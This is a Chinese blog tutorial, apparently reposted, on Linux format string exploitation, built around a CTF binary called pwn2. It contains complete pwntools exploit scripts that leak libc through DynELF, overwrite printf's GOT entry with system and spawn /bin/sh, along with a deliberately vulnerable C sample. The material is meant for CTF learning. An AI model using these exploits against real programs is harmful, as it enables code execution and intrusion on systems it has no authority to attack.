Linux 格式化字符串漏洞利用

目的是接触一些常见的漏洞,增加自己的视野。格式化字符串危害最大的就两点,一点是leak memory,一点就是可以在内存中写入数据,简单来说就是格式化字符串可以进行内存地址的读写。下面结合着自己的学习经历,把漏洞详细的讲解一下,附上大量的实例。

0x01 漏洞简述

0x1 简介

格式化字符串漏洞是一种常见的漏洞,原理和利用方法也很简单,主要利用方式就是实现内存任意读和写。前提是其中的参数可控。如果要深入理解漏洞必须进行大量的实验。

0x2 产生条件

首先要有一个函数,比如read, 比如gets获取用户输入的数据储存到局部变量中,然后直接把该变量作为printf这类函数的第一个参数值,一般是循环执行

0x02 内存读取

这是泄露内存的过程

0x1 printf 参数格式

这部分来自icemakr的博客

32位

读

'%{}$x'.format(index)           // 读4个字节
'%{}$p'.format(index)           // 同上面
'${}$s'.format(index)
写

'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节
64位

读

'%{}$x'.format(index, num)      // 读4个字节
'%{}$lx'.format(index, num)     // 读8个字节
'%{}$p'.format(index)           // 读8个字节
'${}$s'.format(index)
写

'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD

0x2 堆栈情况

这里写图片描述

printf("%s%d%d%d")后面没有参数时,会打印后面的堆栈值。如果有read等函数,内存值可控,就可以实现内存任意读、任意写。

在64位环境下的格式化字符串利用又是另一回事,在这里稍微的提一下,以免其他同学在走错道
程序为64位,在64位下,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中(也就是说,若使用”x$”,当1<=x<=6时,指向的应该依次是上述这6个寄存器中保存的数值),而从第7个参数开始,依然会保存在栈中。故若使用”x$”,则从x=7开始,我们就可以指向栈中数据了。

0x3 实例分析

这里选用广东省红帽杯的pwn2来具体说明。
首先看一下IDA反汇编代码

  while ( 1 )
  {
    memset(&v2, 0, 0x400u);
    read(0, &v2, 0x400u);
    printf((const char *)&v2);
    fflush(stdout);
  }

我们发现了read函数,printf函数标准的格式化字符串漏洞。

1计算参数偏移个数

这里有两种方式

(1) gdb调试

在printf之前设置断点,0x0804852E
这里写图片描述
单步进入sprintf函数中,查看堆栈值
这里写图片描述
我们发现了我们可控的内存距离sprintf之间的距离为7

(2) 利用pwntools计算

利用FmStr函数计算

from pwn import *
# coding:utf-8 
# io = process('./pwn2')
# io =remote('106.75.93.221', 20003)
elf = ELF('./pwn2')

def test(payload):
    io = process('./pwn2')
    io.sendline(payload)
    info = io.recv()
    io.close
    return info
autofmt = FmtStr(test)
print autofmt.offset

2利用DynELF实现内存泄露

在这里我先介绍一下DynELF泄露内存的原理,采用这篇博客里写的

我们应该怎么才能根据已知的函数地址来得到目标函数地址,需要有一下条件
1.我们拥有从Linux发型以来所有版本的 libc 文件
2.我们已知至少两个函数函数在目标主机中的真实地址
那么我们是不是可以用第二个条件去推测目标主机的 libc 版本呢 ?
我们来进行进一步的分析 :
关于条件二 :
这里我们可以注意到 : printf 是可以被我们循环调用的
因此可以进行连续的内存泄露
我们可以将多个 got 表中的函数地址泄露出来 ,
我们这样就可以的至少两个函数的地址 , 条件二满足
关于条件一 :
哈哈~对了 , 这么有诱惑力的事情一定已经有人做过了 , 这里给出一个网站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根据这个原理运作的
两个条件都满足 , 根据这些函数之间的偏移去筛选出 libc 的版本
这样我们就相当于得到了目标服务器的 libc 文件 , 达到了同样的效果

以上是原理,其实说白了就是要利用能够打印指定内存的函数

#coding:utf-8
from pwn import *
sh = process('./pwn2')
elf = ELF('./pwn2')
#计算偏移
def test(payload):
    temp = process('./pwn2')
    temp.sendline(payload)
    info = temp.recv()
    temp.close()
    return info

auto = FmtStr(test)
print auto.offset
#泄露内存 因为函数本来可以循环执行所以不用rop链闭合
def leak(addr):
    payload = 'A%9$s'#这里需要注意一下 为了精确泄露内存用字符定下位
    payload += 'AAA'
    payload += p32(addr)
    sh.sendline(payload)
    sh.recvuntil('A')
    content = sh.recvuntil('AAA')
    # content = sh.recv(4)
    print content
    if(len(content) == 3):
        print '[*] NULL'
        return '\x00'
    else:
        print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex'))
        print len(content)
        return content[0:-3]
#-------- leak system
d = DynELF(leak, elf=ELF('./pwn2'))
system_addr = d.lookup('system','libc')#意思是在libc中寻找system地址
log.info('system_addr:' + hex(system_addr))

0x03 内存写入

首先分析一个简单点的程序

#include <stdio.h> 
int main() {
    int flag=5 ;
    int *p = &flag;
    char a[100];
    scanf("%s",a);
    printf(a);
    if(flag == 2000)
    {
        printf("good\n" );
    }
    return 0;
}

利用gdb调试一下,在printf处设断点。查看一下堆栈的状况
这里写图片描述
发现偏移为5 于是构造%010x%010x%010x%01970x%n
这里写图片描述
这里只是对于flag内存的修改,并没有达到任意修改的效果,任意修改需要计算偏移利用写好内存地址,利用%n直接修改。下面继续pwn2的讲解


在pwntools中有现成的函数可以使用fmtstr_payload可以实现修改任意内存
fmtstr_payload(auto.offset, {printf_got: system_addr})(偏移,{原地址:目的地址})

from pwn import *
sh = process('./pwn2')
elf = ELF('./pwn2')

def test(payload):
    temp = process('./pwn2')
    temp.sendline(payload)
    info = temp.recv()
    temp.close()
    return info

auto = FmtStr(test)
print auto.offset


def leak(addr):
    payload = 'A%9$s'
    payload += 'AAA'
    payload += p32(addr)
    sh.sendline(payload)
    sh.recvuntil('A')
    content = sh.recvuntil('AAA')
    # content = sh.recv(4)
    print content
    if(len(content) == 3):
        print '[*] NULL'
        return '\x00'
    else:
        print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex'))
        print len(content)
        return content[0:-3]
#-------- leak system
d = DynELF(leak, elf=ELF('./pwn2'))
system_addr = d.lookup('system','libc')
log.info('system_addr:' + hex(system_addr))

#-------- change GOT
printf_got = elf.got['printf']
log.info(hex(printf_got))

payload = fmtstr_payload(auto.offset, {printf_got: system_addr})
sh.sendline(payload)

payload = '/bin/sh\x00'
sh.sendline(payload)

sh.interactive()
发布了99 篇原创文章 · 获赞 51 · 访问量 71万+

猜你喜欢

转载自blog.csdn.net/qq_31481187/article/details/72510875